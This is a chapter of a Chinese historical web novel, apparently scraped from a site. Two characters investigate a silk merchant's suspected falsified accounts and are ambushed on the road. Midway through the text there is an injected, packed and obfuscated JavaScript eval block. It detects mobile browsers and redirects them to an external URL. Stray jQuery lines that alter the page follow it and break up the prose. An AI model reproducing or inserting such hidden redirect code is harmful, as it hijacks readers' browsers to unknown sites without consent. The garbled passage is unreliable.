“王氏明年不收了？”


    谈黛狠狠一皱眉，一般大丝绸商都有稳定的蚕丝来源，做到王氏这种规模的突然收缩蚕丝收购，必有其缘故，然而王韫道可一个字都没同她提过。


    周老汉解释道：“可不呢，听他们的人说是王氏要没钱了。”


    路、谈两人对视一眼，都从对方眼中看到了些许惊讶。


    “王氏家大业大，怎么会突然没钱呢？”谈黛问。


    “听说，”周老汉神神秘秘地压低了嗓音，“是得罪上面的人了。”


    “李知县？”


    周老汉撇撇嘴，“这小老儿就不知道了。我说两位，”他皱纹堆叠的脸上撑起一个笑容，“明年这丝绸……”


    谈黛滴水不漏地回答：“我们得回去问问东家。”


    “唉，”周老汉有些失望，却仍道，“也是也是。”


    “那我们便不叨扰了。”谈黛礼貌地笑道。


    周老汉点点头，作势送客，沉默已久的路舒却突然开口。


    “老人家，今年南省比往常天寒，这蚕室的保暖您还得多留神，据我所知，北边的养蚕人多有用泥浆混着碎麻填补墙缝的。还有，这地上您也可以撒些草木灰，省的生霉。”


    他说这话时，窗外的雪光映着他的侧脸，将那道清瘦的轮廓镀上一层朦胧的银边，显得格外温润而又令人安心信服。他今日又恰穿了一袭青衫，某个瞬间，谈黛觉得他倒是很像一枝冬日里常青的竹。


    周老汉愣了一下，随后深深朝路舒施了一礼，感激之情溢于言表，“多谢公子，今年这天冷得邪乎，我正不知道怎么办呢，若不是您说给我这法子，怕是明年您二位来收，我也拿不出好蚕丝了。”


    “举手之劳，莫要挂怀。告辞了。”路舒忙将他扶起。


    “哎，您二位可要留下吃顿饭？只是，”他讪讪一笑，“小村子没什么像样的吃食。”


    若真留下，只怕对这位老人而言又是一场破费。


    “您的好意我们心领了，只是我们还有些事要办。”路舒道。


    “那……那我送二位。”


    周老汉直将他们送到村口，一路上对着路舒千恩万谢，又唠叨了好几遍“明年一定要来”的话。


    离了周村，二人默默而行了许久。


    路舒见谈黛似有心事的样子，试探着开口：“谈姑娘在想什么？”


    “啊？”谈黛的目光直直撞在那“青竹”上，忙敛了神情，笑道，“我在想，户部的堂官可都如路大人般——”


    “嗯？”路舒浅笑。


    “霁月清风。”


    “谈姑娘谬赞了，在诸多同僚面前，我自愧不如。”他说着谦虚的话，眼角却始终噙着笑意。


    “只是，现在看来王氏的处境可能很是危险，可王姐，”谈黛叹了口气，“她什么都没同我说。”


    难不成王姐当真因她先去找了惊堂娇、沁娘和露姐而没有先来见她而同她疏远了？还是说，她担心她知道了真相会陷入这场危险？


    “或许，你可以再单独找她谈谈。”路舒正色道。


    谈黛点点头，那日路舒也在，王姐不便同她详说也不无可能。


    “万一，”她犹豫了一下，“我是说万一，王氏明年真的无力收丝，路大人可会真的帮他们？”


    方才他们给了周老汉希望，若是明年再让他失望，谈黛心中有些过不去。


    路舒却反问：“谈姑娘觉得呢？”


    一阵寒风灌入领口，倒教她从脑海里周老汉祈盼的眼神中抽离出来，重新审视丝绸行上的这一小小环节——周村。


    “路大人身为户部堂官，怕是无暇管一个普通村子的蚕丝卖不卖得出去吧。”


    话虽如此，但她却无端地替那些普通人感到悲凉。


    路舒平静地开口：“王氏收不了，自有别家能收的去收。买卖更替便如夏冬更替般平常，无需为之伤感。若是各家都收不了，便是整个丝绸行的大事，不仅行里那些会首会出手，户部亦不会置之不理。”


    这般高屋建瓴的见解倒是她未曾想到的，看来在此道上，她不如路舒远甚。


    其实，他这样的人正是天机阁此时最为需要的人才，只可惜，他是朝廷命官。


    “但是，”路舒话锋一转，“王氏的账簿中偏偏丝毫看不出现钱流转上出了问题，另外，他们几十年的帐做得分毫不差，就连我都挑不出一点错处。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536126|170025||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “或许，这说明王氏管理完备，账房先生也够尽心。”谈黛猜测道。


    然而路舒却道：“我见过不少商号的账簿，其中不乏比王氏更加名声远播者，可他们的帐多多少少均有错漏。想来无论再高明用心的帐房也终究是人，是人就会出错。而这世上只有一种帐能做到完美无缺，那便是，”他顿了一下，特意看了眼谈黛，方缓缓吐出两个字，“假账。”


    这是很严重的指控。谈黛立时变了脸色。


    王韫秋会允许底下人做假账吗？以她对她的了解，不会，但若是底下人有意欺瞒，她也不可能面面俱到地洞察。但无论如何，王氏的经营出了大问题，这一点是肯定的。而这，王韫秋不可能毫无察觉。


    “我会向王姐问个明白，不过在查明真相之前，还请路大人暂且不要将此事捅破。”谈黛请求道。


    商家最重声誉，假账之事一旦说出去，无论后续查出其中有何隐情，都是无法洗去的污点，其他人会因恐惧风险而不愿再与之做生意。


    王氏两代间从小小渔户发展至今日，个中辛酸、诸多不易，若不明不白地因此衰落，实在可惜。


    况且，还有水镜中的推演。她必须保全王氏。


    路舒道：“你放心，我会慎重的。”


    说话间，两人已走到一处地势低洼的所在。此处已离县城不过几里，道旁两侧小丘起伏，杂树荒草丛生，间或有些坟茔断碑，青天白日的倒教人生出几分寒意。


    谈黛本想开个玩笑，调节当下严肃的氛围，于是道：“这地方倒是适合打伏击。”


    不料，话音刚落，竟如同要证明她说话灵验似的，一名短褐蒙面人便自巨石后蹿出，持刀明晃晃地朝他们刺来。


    “小心！”


    那人动作极快，眨眼功夫已至近前。电光火石间，路舒只来得及将谈黛推开，便被利刃狠狠刺入肩头。他闷哼一声，双手死死握住对方刀柄，那人却发了狠用力刺去。僵持中，路舒感到刀刃在血肉中搅动的剧痛。


    谈黛看得心惊，连忙将一把迷药向那人洒去。那人抽刀向一旁闪躲，路舒的肩膀顿时血流如注。


    混乱中，谈黛认出了来人那双熟悉的眼睛。